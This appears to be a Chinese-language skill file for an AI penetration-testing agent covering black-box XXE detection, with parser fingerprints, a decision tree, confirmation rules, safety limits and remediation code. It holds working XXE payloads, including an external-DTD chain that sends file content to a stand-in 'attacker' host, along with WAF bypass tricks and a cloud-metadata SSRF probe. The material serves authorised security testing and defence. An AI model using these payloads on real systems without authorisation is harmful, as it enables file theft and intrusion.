| name | xxe-testing |
| description | XXE(XML 外部实体注入)黑盒检测——分诊直接回显 / 错误信息 / 盲 XXE OOB / XInclude / SOAP / SVG / OOXML 文件上传变体。 流量中出现 application/xml / text/xml / application/soap+xml body、SVG / DOCX / XLSX / RSS / Atom / SAML 上传或交互、响应里出现 XML 解析器关键字时使用。 |
| when-to-use | 当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时 |
| allowed-tools | bash,read_file,list_files,rg |
| user-invocable | false |
XXE:XML 外部实体注入综合检测(黑盒)
1. 触发线索 / 适用信号
以下是已知的 XXE 触发线索,作为基线起点而非必检硬清单。结合流量与响应特征动态调整:
- 适用且已完成 →
[x] done
- 明确不适用 →
[-] n/a (原因)(原因要具体到响应特征)
- 基线未列出但实际发现 →
[+] added (来源)
响应特征命中信号(漏洞-specific):
- 响应里出现 XML 解析器错误关键字(
Sax2 / XmlReader / Xerces / libxml / lxml / ElementTree)
- 含
<!DOCTYPE 的请求触发响应突变(200 → 500 / 自定义错误页)
- 解析错误回显内部文件路径 / 类名
- 业务字段回显实体引用值
入口类型粗筛(仅作类似场景示例 不限于此):
- Content-Type 为
application/xml / text/xml 的 body / SOAP envelope(含 SOAPAction)
- 头像 / 矢量图上传(SVG)
- Office 文档导入 / 模板(DOCX / XLSX / PPTX,本质 ZIP 含 XML)
- RSS / Atom / OPML 订阅源、KML / GPX 地理数据导入
- OAuth / SSO SAML 响应端点(
SAMLResponse)
- 配置批量导入 / 数据迁移 / WSDL 暴露端点(
?wsdl / ?disco)
- Webhook 等标榜 JSON 但按 Content-Type 协商切到 XML 解析器的端点
业务命名(如"配置导入""SOAP API""头像上传")只作粗筛——sink 语义相同(数据流终点是有外部实体处理能力的 XML 解析器)就属此范围。JSON body 端点也需以一次 application/xml payload 试探,部分框架按 Content-Type 协商切换解析器;具体参数位置由 HAR 实际请求推导,不在此预设清单。
2. 造成原因
source 是任何用户可控 XML 输入:直接 XML body / SOAP 请求 / SVG 文件 / OOXML(DOCX / XLSX / PPTX)内含 XML / RSS / Atom / KML / SAML 响应 / 配置导入 XML 等。sink 是 XML 解析器:Java SAX / DOM(DocumentBuilderFactory / SAXParserFactory / XMLReader)、.NET XmlDocument / XmlReader、Python lxml.etree / xml.etree.ElementTree / xml.sax、PHP libxml / SimpleXML / DOMDocument、Go encoding/xml 配合第三方实体扩展、Node libxmljs / xml2js 等——只要未禁用外部实体 / 参数实体 / 外部 DTD,就构成 sink。
任何 source 含 <!DOCTYPE + <!ENTITY ... SYSTEM "..."> 声明流到未禁外部实体的解析器,即构成 XXE——攻击者声明的实体在解析过程中被展开,触发本地文件读取 / 内网请求 / 带外回连。
解析器的"安全配置"分三层:内联实体(<!ENTITY xxe SYSTEM "...">)、参数实体(<!ENTITY % xxe SYSTEM "...">)、外部 DTD 加载——三层中任意一层未禁均可能被利用。"已禁内联实体"≠ 安全,参数实体 + 外带 DTD 路径仍可读文件。
3. 响应信号映射
列出 XXE 黑盒可观测的响应通道集合(observation-channel)——攻击效果可被黑盒探测的侧信道。输入位置(XML body / SOAP envelope / SVG / OOXML / RSS / SAML / XInclude 属性等本漏洞典型 source)从 HAR 实际请求推导,本节不预设清单。
响应观察通道集合(observation-channel):
inline-echo:实体值直接回显到响应 body(业务字段渲染)
error-echo:解析错误信息回显文件内容 / 内部路径 / 解析器名
oob-dns:带外 DNS 请求收到含 token 的查询
oob-http:带外 HTTP 请求收到含 token 或 base64 文件片段的回连
oob-dtd-readback:参数实体 + 外带 DTD 链路把文件内容拼到 URL 上送达
ssrf-sidechannel:SYSTEM URL 指向内网时产生可观测的内网响应差异
secondary-readback:上传文件后由另一端点(管理后台 / 文档预览)触发解析
4. 常见类型
| 类型 | 触发条件 | 响应特征 | 典型 payload |
|---|
| 直接回显 XXE | 内联实体值被业务字段渲染回响应 | 响应里出现文件内容(如 /etc/hostname) | <!ENTITY xxe SYSTEM "file:///etc/hostname"> + &xxe; 用于根元素 |
| 错误信息 XXE | SYSTEM ID 触发解析错误 + 错误回显 | 响应里 failed to load external entity ... /etc/passwd 含文件内容 | 故意指向不存在的 SYSTEM ID 让解析器把文件内容塞进错误信息 |
| 盲 XXE(OOB) | 无回显但解析器可发外部请求 | 带外服务器收到 DNS / HTTP 请求 | <!ENTITY xxe SYSTEM "http://attacker/?t=token"> |
| 参数实体 + 外带 DTD | 内联实体被禁但参数实体未禁 | 带外服务器收到含 base64 文件内容的 URL | <!ENTITY % remote SYSTEM "http://attacker/evil.dtd"> %remote; |
| XInclude | DOCTYPE 被过滤但解析器支持 XInclude | 响应 / OOB 渠道收到包含文件内容 | <root xmlns:xi="..."><xi:include parse="text" href="file:///etc/hostname"/></root> |
| SOAP XXE | SOAP envelope body 含 DOCTYPE 声明 | 通过 SOAP fault 回显 / OOB | 在 envelope 顶部插入 DOCTYPE |
| SVG XXE | SVG 上传后服务端用图像 / XML 库解析 | 通过缩略图错误 / OOB 验证 | SVG <?xml ...?><!DOCTYPE svg [...]> 后接图形元素 |
| OOXML XXE | DOCX / XLSX 内含 XML 被解析 | 通过文档预览错误 / OOB 验证 | 解包改 word/document.xml 顶部插 DOCTYPE 后重打包 |
5. 侦察输入
按以下方式从侦察输出中筛 XXE 候选:
从 HAR / 端点账本:
- 请求 Content-Type 含
xml / soap+xml 关键字
- 请求体首字节为
<?xml 或 <!DOCTYPE 或 <soap:Envelope
- 响应里出现
Sax / XmlReader / Xerces / libxml / lxml / DOCTYPE / entity 关键字
- multipart 上传字段含
.svg / .docx / .xlsx / .pptx / .odt / .kml / .gpx / .rss / .opml 后缀
- 路径含
/api/import / /upload / /svg / /avatar / /saml / /sso/acs / ?wsdl
- POST / PUT 端点的 body 中携带任何形似 XML 的片段
从业务场景(由页面级建模输出,见 {page}-page-model.md 语义节):
下列业务场景仅作类似场景示例 不限于此;以页面级模型实际输出为准。
- 文档协同 / OA:DOCX / XLSX 上传与预览、模板渲染
- 头像 / 图形资源管理:SVG 上传、图像处理流水线
- 企业集成 / B2B:SOAP API、EDI / XML 数据交换、ERP 对接
- SSO / SaaS 接入:SAML 响应解析、IdP 元数据导入
- 内容聚合 / 资讯:RSS / Atom / OPML 订阅源解析
- GIS / 地图:KML / GPX 导入
从身份切换 HAR 对比:
- 普通用户 / 管理员两份 HAR 里仅在管理员端出现的 XML 入口(如配置导入 / SAML 元数据上传)是高价值候选
- 跨子系统的 XML 入口(OA / 文档预览 / 头像服务在不同子域)每个独立测——不同子系统可能挂不同解析栈
业务命名(如"配置导入""头像上传")只作粗筛——sink 语义相同就是候选。端点声明 JSON 不代表只解析 JSON,至少试一次 application/xml 看是否被协商解析。
6. 框架 / XML 解析器响应指纹
通过响应(错误关键字 / header / 行为)推断后端 XML 解析器与框架,优化 payload 选择。
XML 解析器响应指纹
| 响应特征 | 推断解析器 | payload 选择 |
|---|
org.xml.sax.SAXParseException / Xerces / com.sun.org.apache.xerces | Java Xerces (SAX/DOM) | 默认允许外部实体;试内联 + 参数实体 + 外带 DTD |
javax.xml.stream.XMLStreamException / Woodstox | Java StAX (Woodstox) | 默认禁 DTD,但旧版本配置可放开 |
lxml.etree.XMLSyntaxError / Entity ... not defined | Python lxml (libxml2) | 默认禁外部实体;显式 resolve_entities=True 或 load_dtd=True 才可能命中 |
xml.etree.ElementTree.ParseError | Python ElementTree | 不支持外部实体(expat 默认禁),但 xml.sax 可能开放 |
Start tag expected / Premature end of data in tag + PHP backtrace | PHP libxml / SimpleXML / DOMDocument | 旧版默认加载实体;试 php://filter/convert.base64-encode/resource= |
System.Xml.XmlException / DTD is prohibited | .NET XmlReader (新版默认 DtdProcessing=Prohibit) | 旧版 / 显式 Parse 设置才可能命中 |
System.Xml.XmlDocument / Reference to undeclared entity | .NET XmlDocument | 旧版 .NET 默认允许外部实体 |
Expat / not well-formed (invalid token) | Expat | 默认禁外部实体但能解析 DOCTYPE;试参数实体 |
failed to load external entity "file:///..." | libxml2 (PHP / Python) | 错误信息可能直接回显文件内容——错误信息 XXE 高潜力 |
XInclude / xi:include 字样 | 解析器开启了 XInclude | DOCTYPE 被过滤时改走 XInclude 路径 |
框架响应指纹
| 响应特征 | 推断框架 | 优化方向 |
|---|
Apache CXF / Axis2 SOAP fault | Java SOAP 栈 | 检查 underlying SAX / XMLInputFactory 配置 |
Set-Cookie: PHPSESSID + libxml 报错 | PHP | 试 libxml_disable_entity_loader 是否未启用 |
Server: gunicorn + Python traceback | Django / Flask + lxml | 检查 resolve_entities / load_dtd |
X-Aspnet-Version + XmlReader 报错 | ASP.NET | 旧版默认 DTD 允许,新版默认禁 |
Server: nginx + JSESSIONID + Xerces 报错 | Java / Spring | 检查 DocumentBuilderFactory SECURE_PROCESSING |
WAF / 中间防御响应指纹
| 响应特征 | 防御 | 绕过方向 |
|---|
request blocked + DOCTYPE 被剥 | WAF 简单关键字过滤 | 改大小写 <!Doctype / 空白注入 / 编码包装 / 用 XInclude |
含 <!DOCTYPE 直接 400 / 403 | 应用层 DOCTYPE 黑名单 | 看是否对参数实体放行 / 用 XInclude 路径 |
cf-ray / 阿里云 WAF + XML 拦截 | 通用 WAF | URL 编码 / chunked transfer / 大小写混用 |
响应指纹仅作辅助判断——真实的 sink 验证仍需在 §9 闭环要求章节定义的可观测效果证据。
7. 思考检查点
加载本 skill 时按这些问题思考:
- 这个端点是否真的接受 XML 解析?哪怕 Content-Type 是 JSON,框架会不会按协商规则切换到 XML 解析器?
- 上传文件类型是否本质是 XML?(SVG / DOCX / XLSX / PPTX / ODT / KML / GPX / RSS / OPML / SAML)
- 服务端解析后是否回显部分内容?决定走回显型还是盲 XXE OOB / 错误信息 XXE。
- 内联实体若被禁,参数实体是否也禁?外部 DTD 加载是否禁?三条路径要独立结账。
- 文件上传后由谁触发解析?管理后台预览 / 缩略图生成 / OCR 流水线都是潜在二阶通道。
- 解析器是哪种?libxml2 / Xerces / .NET / Expat 的默认安全配置差异大——指纹决定 payload 形态。
- 跨子系统是否有同模板端点?(admin / user / 第三方接入端 XML 解析栈可能各异)
8. 检测方法论 / 决策树
全局约束(默认保守预算)
- 单接口最多 15 次请求(含基线 / 重试 / 不同 payload 变体);同一轮只改 1 个变量
- OOB 验证用唯一 token(随机 UUID),便于在带外日志里精确归属
- 并发建议 1;避免对解析路径产生不可控 race
- 一旦"确认"立即停止进一步探测;禁用 Billion Laughs 等 DoS payload
Step 0:基线采集
- 发送合法 XML / 合法上传 2-3 次,记录"基线响应特征"与解析行为
- 标记并忽略动态字段(时间戳 / 随机 ID / sessionToken)
- 对上传类入口,准备一份最小可解析样本作为基线(无 DOCTYPE 的合法 SVG / DOCX)
Step 1:XML 解析路径确认
确认目标确实把输入交给 XML 解析器:
- 发送合法 XML 看返回是否进入业务流程;同时发送畸形 XML(缺闭合标签 / 错误 namespace)看是否返回解析错误
- 对声明 JSON 的端点,也试一次
Content-Type: application/xml payload,看是否被协商解析
- 对上传入口,准备含
<!DOCTYPE foo> 的最小样本(无外部实体)看是否被过滤——若 DOCTYPE 被剥则后续直接走 XInclude 路径
Step 2:响应指纹判断
按 §6 响应指纹表识别解析器与框架。结论标注置信度(high / medium / low)。指纹只指导 payload 选择,不作为命中证据。
Step 3:策略决策树
DOCTYPE 被原样接受 + 业务字段渲染元素内容? → 直接回显 XXE(信息量最高)
DOCTYPE 被接受但内容不回显,解析错误回显? → 错误信息 XXE(故意触发非法 SYSTEM ID)
DOCTYPE 被接受但响应不带任何内容? → 盲 XXE OOB(DNS / HTTP)
内联实体被禁但参数实体未禁? → 参数实体 + 外带 DTD
DOCTYPE 整体被剥但仍解析 XML? → XInclude 路径
上传类入口(SVG / DOCX)? → 嵌入 DOCTYPE 后上传,按上述同分诊
Step 4:确认 + 防误报
- 强证据(满足其一即 confirmed):响应里出现
/etc/hostname 等无害文件的真实内容;带外服务器收到含本次 token 的 DNS / HTTP 请求;错误信息里直接带文件内容
- 弱证据(最多 suspected):DOCTYPE 未被拒、解析器报错带"entity"字样、单次 SSRF 内网响应
- 拒绝条件:仅"500"或"含 SAXParseException"——一律 suspected
Payload 范式与编码绕过
-
内联实体回显:<!ENTITY xxe SYSTEM "file:///etc/hostname"> + &xxe; 放入响应里会被渲染的元素
-
错误信息 XXE:<!ENTITY xxe SYSTEM "file:///nonexistent/<file_to_read>">,解析失败时部分实现把文件内容带进错误信息
-
盲 XXE OOB:<!ENTITY xxe SYSTEM "http://<token>.attacker.com/">
-
参数实体 + 外带 DTD:
请求:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker/evil.dtd">
%remote;
]>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % wrapper "<!ENTITY % send SYSTEM 'http://attacker/?t=token&data=%file;'>">
%wrapper;
%send;
-
XInclude:<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/hostname"/></root>
-
DOCTYPE 黑名单绕过:大小写混用 <!Doctype / 空白 / 注释插入 / UTF-16 编码
-
PHP 场景:php://filter/convert.base64-encode/resource=/etc/hostname 避免二进制字符破坏 XML
-
SVG 嵌入:在 <?xml ?> 与 <svg> 之间插入 DOCTYPE + 实体声明,元素内引用
-
OOXML 嵌入:解包 .docx ZIP,改 word/document.xml 顶部插入 DOCTYPE 后重新打包
基线检查项(按 §4.3 三态标注)
9. 闭环要求(必须遵守)
闭环判定(confirmed / suspected / not_vulnerable)以 common/closure-verification.md 为准。下面只列本漏洞特有的可观测信号。
confirmed(必须挂可观测效果证据):
- 直接回显:响应里出现被引用本地文件(
/etc/hostname / /proc/self/cmdline)的真实内容,重复 3 次稳定
- 错误信息 XXE:解析错误信息里出现攻击者可控文件内容(非仅"failed to load")
- 盲 XXE OOB:带外服务器收到包含本次唯一 token 的 DNS / HTTP 请求,时间戳与请求对齐
- 参数实体 + 外带 DTD:带外服务器收到含本地文件 base64 / 明文片段的 URL
- XInclude:响应或 OOB 通道收到
xi:include 引用的文件内容
suspected(落 status=needs_review):
- DOCTYPE 未被拒绝但既无回显也无 OOB
- 解析器报错含
entity 字样但未拿到任何文件内容或外带
- 单次 OOB 命中但无法重放(可能是其他扫描器干扰)
- SAML / SOAP 端点接受 DOCTYPE 但未观察到副作用
not_vulnerable(落 status=not_vulnerable):
- 含 DOCTYPE 的请求稳定 400 / 403 拒绝,且响应明确指向"DTD 禁止"
- 解析栈(如新版 .NET / lxml 默认配置)已禁外部实体,多路径 payload 均无效
- 该端点不接触 XML 解析(仅做字节流校验后存盘)
禁止仅凭"DOCTYPE 没被拒""响应 500""含 entity 关键字"判 confirmed——这些只到 suspected。
反例义务(必须遵守)
why:反例义务属于交付契约——"该子系统 XXE 已防护"结论是覆盖完整性产物声明,缺失反向验证清单会让下游误信"该维度全站安全"。
写"未发现 XXE"或"已防护"前,产物必须包含:
- 测过的 XML 入口完整清单(按 sink 语义枚举:直接 XML body / SOAP / SVG / OOXML / RSS / SAML / 配置导入;多子系统按子系统独立分组)
- 每入口尝试的 payload 路径(内联实体 / 参数实体 + 外带 DTD / XInclude / 错误信息 XXE / SVG 嵌入 / OOXML 嵌入)
- 每入口的响应证据(解析行为 / OOB 日志 / 错误信息)
- 已验证内联实体与参数实体两条路径独立结账(避免"只禁内联未禁参数实体"漏判)
清单不完整 → 结论降级为 partial-coverage 并显式声明未覆盖范围。
10. 具象化反例库
FP(看似命中实际不构成)
反例 1:响应 500 含 SAXParseException 不一定是 XXE
- 抽象规则:解析异常 ≠ 外部实体被处理
- 具体场景:发送畸形 XML 后响应 500 + Java 栈含
SAXParseException,但 payload 是缺闭合标签而非 DOCTYPE
- 关键识别特征:错误信息只提"Premature end of file" / "Element not closed",无
entity / external 关键字
- 排除方法:换成合法 XML 但带
<!DOCTYPE foo [<!ENTITY x "test">]> + &x;,看实体是否真被展开
反例 2:DOCTYPE 未被拒 ≠ 外部实体可达
- 抽象规则:解析器接受 DOCTYPE 不代表会加载外部实体
- 具体场景:含
<!DOCTYPE foo> 请求正常返回,但加 SYSTEM 实体的请求 OOB 服务器无任何回连
- 关键识别特征:内联实体引用未回显、参数实体也无 OOB、错误信息无
failed to load external entity
- 排除方法:要确认必须看到文件内容回显或 OOB 通道收到归属本测试 token 的请求
反例 3:SSRF 命中不等于 XXE 命中
- 抽象规则:SYSTEM URL 指向内网产生响应差异,可能是 SSRF 但未必能读文件
- 具体场景:
<!ENTITY xxe SYSTEM "http://169.254.169.254/"> 触发超时差异,但 file:// 路径无任何回显
- 关键识别特征:仅 HTTP scheme 可达,
file:// / php:// 等无回显也无 OOB
- 确认方法:分别测
http:// / file:// / php://filter 三类 SYSTEM URL,分别报告其能力边界
FN(看似不命中实际是真洞)
反例 4:内联实体禁但参数实体未禁
- 抽象规则:解析器有三层独立配置,禁一层不等于禁全部
- 具体场景:内联
&xxe; 请求被拒(提示"undeclared entity"),但参数实体 + 外带 DTD 链路成功
- 关键识别特征:内联失败但
<!ENTITY % remote SYSTEM "..."> 在 OOB 服务器收到 DTD 请求
- 确认方法:每个入口必须独立测试参数实体路径,不能因内联失败就标 not_vulnerable
反例 5:DOCTYPE 被剥但 XInclude 可达
- 抽象规则:WAF / 应用层过滤 DOCTYPE 关键字 ≠ 解析器拒绝所有外部实体能力
- 具体场景:含
<!DOCTYPE 的请求被剥关键字后变空,但 <root xmlns:xi="..."><xi:include href="file:///etc/hostname"/></root> 仍读到文件
- 关键识别特征:DOCTYPE 路径被防御但 XInclude 命名空间未被拦截
- 确认方法:DOCTYPE 失败后改走 XInclude 路径独立验证
反例 6:声明 JSON 的端点也可能解析 XML
- 抽象规则:Content-Type 协商 / 框架默认行为可能切换解析器
- 具体场景:端点声明
application/json,但发 Content-Type: application/xml body 后服务端按 XML 解析
- 关键识别特征:HAR 里端点历史都是 JSON,但用 XML payload 试探后响应进入业务流程或返回 XML 解析错误
- 确认方法:所有"看似 JSON"的端点至少试一次 XML payload
反例 7:SVG 上传被忽略的解析路径
- 抽象规则:图像 / 矢量库(旧版 ImageMagick / librsvg / batik)默认会解析 SVG 内部 XML
- 具体场景:头像上传 SVG,前端预览看似正常,但缩略图生成流水线在后端解析了实体
- 关键识别特征:上传后管理后台 / 缩略图缓存出现 OOB 触发或文件内容回显
- 确认方法:SVG 上传必测 XXE,关注后台异步处理产生的延迟回连
易混淆案例
反例 8:跨子系统隐式推广(漏报高发模式)
- 抽象规则:在子系统 A 测过 ≠ 子系统 B 也安全
- 具体场景:测了 user-portal 的头像上传未发现 XXE,admin-portal 的 SAML 元数据导入未测就推断"全站已防护"
- 关键识别特征:不同子系统、不同解析栈(Java / .NET / Python 混用很常见)、不同时期开发
- 确认方法:每个有 XML 入口的子系统独立做反例义务自检;解析栈可能各异
11. 测试安全边界
破坏性 / 不可逆动作的闭环边界以 common/closure-verification.md《破坏性 / 不可逆动作的闭环边界》节为准。下面只列 XXE 特有的破坏点与禁区。
禁止对真实业务环境执行以下动作来"挂可观测效果":
- 读取业务关键文件:真实数据库连接串(
/etc/<app>/db.conf / application.yml)、SSH 私钥(id_rsa)、shadow / master.passwd / wp-config.php / web.config 等
- 读取业务密钥 / API token / 云元数据 secret token(仅触达 169.254.169.254 metadata 探测 URL 本身可以,但不读取 token 内容)
- Billion Laughs / Quadratic Blowup 等实体递归膨胀 DoS payload
- 不限频率 / 不限延时的 OOB 探测(避免触发解析器资源耗尽)
- 通过 SOAP / SAML 实体路径触发对外发件(如解析器跟随外部实体到邮件 gateway)
允许的非破坏验证手段:
- 无敏感哨兵文件:
/etc/hostname / /etc/issue / /proc/self/cmdline / c:\windows\win.ini——存在普遍且无敏感内容
- 带外 token 哨兵:每次 payload 用唯一随机 UUID 作为子域 / 路径前缀,确保 OOB 日志可精确归属本次测试
- 错误信息回显:故意指向不存在的 SYSTEM ID 让解析器把文件内容塞进错误信息(不修改目标状态)
- 能力边界证明:对 OOB 验证停留在"能发出请求"层,不进一步外带敏感文件内容
- SSRF 探测降级:内网 URL 仅做 HTTP scheme 触达,不发起 POST 改写动作
OOB 服务必须是受控的内部基础设施(Interactsh / Burp Collaborator 私有部署 / 自建 DNS-HTTP 双栈),禁止使用公共 OOB 服务承载敏感载荷。
12. 修复建议
源头治理(首选)
按解析器配置三层独立禁用(三层都要做):
-
Java(DocumentBuilderFactory / SAXParserFactory / XMLInputFactory):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
-
PHP(PHP 8+ libxml):避免传 LIBXML_NOENT | LIBXML_DTDLOAD;旧版(< 8.0)显式 libxml_disable_entity_loader(true);SimpleXML 不要用 LIBXML_NOENT 标志
-
Python lxml:lxml.etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False);xml.sax 用 make_parser 后 setFeature(feature_external_ges, False)
-
Python defusedxml:直接替换为 defusedxml.lxml / defusedxml.ElementTree——默认禁外部实体
-
.NET:XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null };旧版 XmlDocument 设 XmlResolver = null
-
Go:encoding/xml 默认不处理外部实体,但若用第三方 DTD 扩展库,按其文档禁用
三层配置含义:1) 禁内联实体 2) 禁参数实体 3) 禁外部 DTD 加载。任一未禁均可能被利用。
XInclude 单独禁用
- 上述 Java / .NET / lxml 配置中
setXIncludeAware(false) / 等价开关必须显式 false,不要依赖默认
文件上传链路
- 对 SVG / DOCX / XLSX / SAML 等 XML 载体上传,预处理移除 DOCTYPE 与 XInclude 命名空间,或拒绝含 DOCTYPE 的文件
- 缩略图 / OCR / 文档预览流水线的解析器必须同样按三层禁用
二阶通道
- 上传时入库不解析实体不代表安全——管理后台 / 异步流水线 / 文档预览触发的解析器同样必须按三层禁用
- 跨子系统复用解析配置时按"每个解析点独立结账"原则审计
边界过滤(次选,深度防御)
- WAF 规则覆盖
<!DOCTYPE / <!ENTITY / SYSTEM / xi:include 关键字——仅作辅助,易被大小写 / 编码绕过
- 应用层拒绝 Content-Type 切换:声明 JSON 的端点严格按 JSON 解析,不做协商
兜底拒绝
- 解析失败响应不暴露解析器名 / 内部路径 / 文件内容
- 解析器运行账户最小权限:禁止读取业务关键文件(数据库连接串 / 私钥)
- 出网白名单:解析器所在容器禁止访问外部 DNS / HTTP(阻断 OOB 通道与外带 DTD)
参考